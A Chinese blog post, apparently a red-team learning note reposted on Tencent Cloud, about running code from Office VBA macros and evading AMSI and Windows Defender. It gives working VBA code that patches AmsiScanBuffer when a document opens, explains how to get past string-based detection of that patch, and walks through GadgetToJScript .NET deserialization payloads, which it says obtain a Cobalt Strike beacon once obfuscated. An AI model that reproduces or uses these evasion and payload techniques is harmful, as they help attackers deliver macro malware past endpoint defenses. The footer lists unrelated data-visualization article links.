前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >GadgetToJScript在VBA中的利用

GadgetToJScript在VBA中的利用

作者头像
鸿鹄实验室
发布于 2021-07-06 06:35:49
发布于 2021-07-06 06:35:49
2.5K00
代码可运行
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室
运行总次数:0
代码可运行

前言:

最近在学习一些不错的思路,本文是对下面文章的学习记录。

https://www.shutingrz.com/post/explore-dotnet-serialize-g2js/

开了原创,方便转载,勿喷。

本文将浅析GadgetToJScript的反序列化原理与在VBA中的利用。首先我们来看一下VBA中常见的执行方式

WScript.Shell:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CreateObject("WScript.Shell").Run "calc.exe"
CreateObject("WScript.Shell").Exec "notepad.exe"

进程树如下:

用来反弹会话时,代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CreateObject("WScript.Shell").Run "powershell.exe ..............."

调用WMI:

主要为使用wmi的Win32_Process的Create方法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
s = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("notepad.exe", Null, Null, intProcessID)

进程树如下

调用COM:

  • {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
  • {72C24DD5-D70A-438B-8A42-98424B88AFB8}
  • {F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Set obj3 = GetObject("new:13709620-C279-11CE-A49E-444553540000")
obj3.ShellExecute "PowerShell.exe", "", "", "runas", 0

进程树(与你的CISID有关)

Outlook.Application:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Set outlookApp = CreateObject("Outlook.Application")
outlookApp.CreateObject("Wscript.shell").Run "notepad.exe", 0

进程树

而这些方法因为都已公开许久,都或多或少的会被检测到。而拿我们常用的CS之类的为例,我们生成载荷,然后运行,在监控中会很清楚的看到过程被amsi所监控(payload做了简单修改)

检查过程如下:

而整个过程微软解释如下:

而在VBA中的被检测的列表已有大佬整理了出来:

https://github.com/synacktiv/AMSI-Bypass

当然,DDE与excel 4.0是不受amsi所保护的。而amsi的bypass也早已是老生常谈的话题,例如outflank提出的

https://outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/

或者是在VBA中进行memory patch

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)

Private Sub Document_Open()
    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
    Dim result As Long
    Dim MyByteArray(6) As Byte
    Dim ArrayPointer As LongPtr

    MyByteArray(0) = 184 ' 0xB8
    MyByteArray(1) = 87  ' 0x57
    MyByteArray(2) = 0   ' 0x00
    MyByteArray(3) = 7   ' 0x07
    MyByteArray(4) = 128 ' 0x80
    MyByteArray(5) = 195 ' 0xC3

    AmsiDLL = LoadLibrary("amsi.dll")
    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
    result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0)
    ArrayPointer = VarPtr(MyByteArray(0))
    CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
    
End Sub

但此类方法,亦会被windows defende + amsi 所拦截

而此类的检查则是基于字符串的,即amsi.dll与RtlMoveMemory,将RtlMoveMemory改成RtlFillMemory即可bypass,效果大体如下

GadgetToJScript与.net

在某些脚本语言中可以使用com对象,而com对象可以用来调用.net

而GadgetToJScript本质是反序列化的利用,下面是一个基础的反序列化代码

代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Configuration;

namespace serializable
{
    class NonSerializable
    {
        private string _text;

        public NonSerializable(string text)
{
            _text = text;
        }

        public override string ToString()
{
            return _text;
        }
    }

    // Custom serialization surrogate
    class _SurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
{
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }
            return base.GetSurrogate(type, context, out selector);
        }
    }

    class Program
    {
        static void TestObjectSerializedRef()
{
            BinaryFormatter fmt = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            fmt.SurrogateSelector = new _SurrogateSelector();
            fmt.Serialize(stm, new NonSerializable("Hello World!"));
            stm.Position = 0;

            // Should print Hello World!.
            Console.WriteLine(fmt.Deserialize(stm));
        }
        static void Main(string[] args)
{ 
            TestObjectSerializedRef();
        }
    }
}

上述代码的意思是NonSerializable 类在构造函数中接受一个字符串,然后重写ToString函数,并返回一个sting对象。ToString允许 C# 中的所有类隐式继承 Object 类并返回一个字符串表示,所以当 Console.WriteLine() 被调用时会返回Hello World! 但是这个类没有Serializable属性,所以本质上是不能序列化的。但我们可以覆盖 SurrogateSelector 类的 GetSurrogate 方法,使其可以被反序列化。

编译执行,报错,这是因为.NET 4.8增加了对反序列化的检查。

我们可以使用设置DisableActivitySurrogateSelectorTypeCheck来绕过该检测。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
        static void Main(string[] args)
        {
            ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            TestObjectSerializedRef();
        }

成功反序列化。

使用DotNetToJScript 操作上述代码,生成的代码类似如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Function Base64ToStream(b,l)
  Dim enc, length, transform, ms
  Set enc = CreateObject("System.Text.ASCIIEncoding")
  length = enc.GetByteCount_2(b)
  Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
  Set ms = CreateObject("System.IO.MemoryStream")
  ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, l
  ms.Position = 0
  Set Base64ToStream = ms
End Function

Dim shell
Set shell = CreateObject("WScript.Shell")
Dim ver
ver = "v4.0.30319"
On Error Resume Next
shell.RegRead "HKLM\SOFTWARE\\Microsoft\.NETFramework\v4.0.30319\"
If Err.Number <> 0 Then
  ver = "v2.0.50727"
  Err.Clear
End If
shell.Environment("Process").Item("COMPLUS_Version") = ver
Dim fmt_1
Set fmt_1 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
fmt_1.Deserialize_2(Base64ToStream(stage_1, 2341))

If Err.Number <> 0 Then
  Dim fmt_2
  Set fmt_2 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
  fmt_2.Deserialize_2(Base64ToStream(stage_2, 12424))
End If

即使用COM 组件反序列化 Base64 编码的 .NET 对象。其代码结构解释如下:

即BinaryFormatter的反序列化加载。假设有下面的代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
using System;
using System.Windows.Forms;

namespace Test
{
    public class Program
    {
    public Program()
    {
      MessageBox.Show("Hello, World!");
    }
    }
}

生成vbs文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GadgetToJScript.exe -b -w vbs -c hello.cs -o test -d System.dll -d System.Windows.Forms.dll

静态可过windows defender ,执行可以弹框。然后放入宏中

然后我们换成之前的COM 对象来启动进程,弹出notepad

但是直接生成的payload是会被windows defender所检测到的,需要自行混淆。混淆后绕过windows defender执行成功。

但目前该类方法我们利用起来仍然不是很好利用,因为虽然可以绕过windows defender的检测,但假如我们使用com去调用powershell远程加载的时候仍然无法绕过widnows defender。但这已不是宏需要考虑的了,而是在powershell中amsi patch的问题了,在前方的代码中加入amsi patch,即可然过wdf对ps的检查,得到Cs的beacon。

更多精彩推荐,请关注我们

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
​《七天数据可视化之旅》第三天:数据图表的选择(中)
Destiny,某物流公司数据产品经理,目前从事数据平台搭建和可视化相关的工作。持续学习中,期望与大家多多交流数据相关的技术和实际应用,共同成长。
木东居士
2019/08/26
1.4K0
​《七天数据可视化之旅》第三天:数据图表的选择(中)
Python 数据可视化,常用看这一篇就够了
如果你想要用 Python 进行数据分析,就需要在项目初期开始进行探索性的数据分析,这样方便你对数据有一定的了解。其中最直观的就是采用数据可视化技术,这样,数据不仅一目了然,而且更容易被解读。
全栈程序员站长
2022/09/07
2.1K0
【数据可视化】Matplotlib 从入门到精通学习笔记
如果将文本数据与图表数据相比较,人类的思维模式更适合于理解后者,原因在于图表数据更加直观且形象化,它对于人类视觉的冲击更强,这种使用图表来表示数据的方法被叫做数据可视化。
小小程序员
2022/11/22
5.5K0
【数据可视化】Matplotlib 从入门到精通学习笔记
学会这7个绘图工具包,Matplotlib可视化也没那么难
绘图是数据分析工作中的重要一环,是探索过程的一部分。Matplotlib是当前用于数据可视化的最流行的Python包之一,本文主要介绍数据可视化分析工具:Matplotlib。
前端皮皮
2021/05/18
3K0
学会这7个绘图工具包,Matplotlib可视化也没那么难
文末送书 | Python绘图,我只用Matplotlib
散点图显示两组数据的值,如图1-1所示。每个点的坐标位置由变量的值决定,并由一组不连接的点完成,用于观察两种变量的相关性。例如,身高—体重、温度—维度。
用户1737318
2019/08/16
1.5K0
文末送书 | Python绘图,我只用Matplotlib
python绘制条形柱状图_Python柱状图
条形图(bar chart),也称为柱状图,是一种以长方形的长度为变量的统计图表,长方形的长度与它所对应的变量数值呈一定比例。
全栈程序员站长
2022/11/15
2.1K0
python绘制条形柱状图_Python柱状图
让你彻底弄懂用Python绘制条形图(柱状图)
条形图(bar chart)也称为柱状图,是一种以长方形的长度为变量的统计图表,长方形的长度与它所对应的数值呈一定比例。
阿黎逸阳
2021/02/08
12.7K0
Matplotlib可视化没那么难:7种常用图表最全绘制攻略来了!
导读:绘图是数据分析工作中的重要一环,是探索过程的一部分。Matplotlib是当前用于数据可视化的最流行的Python包之一,本文主要介绍数据可视化分析工具:Matplotlib。
IT阅读排行榜
2021/06/01
6.8K0
Matplotlib可视化没那么难:7种常用图表最全绘制攻略来了!
我用Python的Seaborn库,绘制了15个超好看图表!
Seaborn是一个基于Python语言的数据可视化库,它能够创建高度吸引人的可视化图表。
小F
2023/08/21
9410
我用Python的Seaborn库,绘制了15个超好看图表!
python 画条形图(柱状图)
条形图(bar chart),也称为柱状图,是一种以长方形的长度为变量的统计图表,长方形的长度与它所对应的变量数值呈一定比例。
一个风轻云淡
2023/12/07
7461
Python数据可视化的10种技能
如果你想要用 Python 进行数据分析,就需要在项目初期开始进行探索性的数据分析,这样方便你对数据有一定的了解。其中最直观的就是采用数据可视化技术,这样,数据不仅一目了然,而且更容易被解读。同样在数据分析得到结果之后,我们还需要用到可视化技术,把最终的结果呈现出来。
MachineLP
2019/05/26
2.8K0
Python可视化库Matplotlib绘图入门详解
Matplotlib是Python的绘图库,其中的pyplot包封装了很多画图的函数。
代码医生工作室
2019/10/03
2.8K0
Matplotlib类别比较图(1)
matplotlib提供了bar函数绘制柱状图。语法:plt.bar(left, height, width, bottom, align, **kwargs)
python数据可视化之路
2023/02/23
7220
Matplotlib类别比较图(1)
matplotlib 柱状图/条形图
bar()函数用来绘制柱状图(垂向的),barh()函数用来绘制条形图(水平的)。
用户6021899
2019/08/14
2K0
【数据可视化包Matplotlib】Matplotlib基本绘图方法
根据 Matplotlib 图像的4层图像结构,pyplot 模块绘制图形基本都遵循一个流程,使用这个流程可以完成大部分图形的绘制。pyplot 模块基本绘图流程主要分为3个部分,如下图所示。
Francek Chen
2025/01/22
2270
【数据可视化包Matplotlib】Matplotlib基本绘图方法
【matplotlib】3-绘制统计图形
柱状图是描述统计中使用频率非常高的一种统计图形。它有垂直样式和水平样式两种可视化效果。这里我们主要介绍柱状图的应用场景和绘制原理。
程序员小涛
2022/12/28
2.1K1
【matplotlib】3-绘制统计图形
【深度学习】 Python 和 NumPy 系列教程(十七):Matplotlib详解:2、3d绘图类型(3)3D条形图(3D Bar Plot)
Python本身是一种伟大的通用编程语言,在一些流行的库(numpy,scipy,matplotlib)的帮助下,成为了科学计算的强大环境。本系列将介绍Python编程语言和使用Python进行科学计算的方法,主要包含以下内容:
Qomolangma
2024/07/29
1890
【深度学习】 Python 和 NumPy 系列教程(十七):Matplotlib详解:2、3d绘图类型(3)3D条形图(3D Bar Plot)
「R」数据可视化4 : 直方图/条形图
本文作者蒋刘一琦,自嘲是一个有艺术追求的生信狗,毕业于浙江大学生物信息学专业,目前在复旦大学就读研究生,研究方向为宏基因组。
王诗翔呀
2020/07/06
2.9K0
「R」数据可视化4 : 直方图/条形图
《七天数据可视化之旅》第五天:常用图表对比
Destiny,某物流公司数据产品经理,目前从事数据平台搭建和可视化相关的工作。持续学习中,期望与大家多多交流数据相关的技术和实际应用,共同成长。
木东居士
2019/09/08
1.3K0
可视化技能之Matplotlib(下)|可视化系列02
在本系列的上篇文章里,我们从Matplotlib的基础可视化框架开始,逐步画出折线图、柱状图等基础图表,通过对坐标轴标签、标题文本等的精细调节画出信息更明确丰富的可视图,也实践了双轴图及子图,最后看了下极坐标系下绘图的效果。本篇继续探索Matplotlib的强悍可视化能力。
蛰虫始航
2020/04/08
1.6K0
可视化技能之Matplotlib(下)|可视化系列02
推荐阅读
相关推荐
​《七天数据可视化之旅》第三天:数据图表的选择(中)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档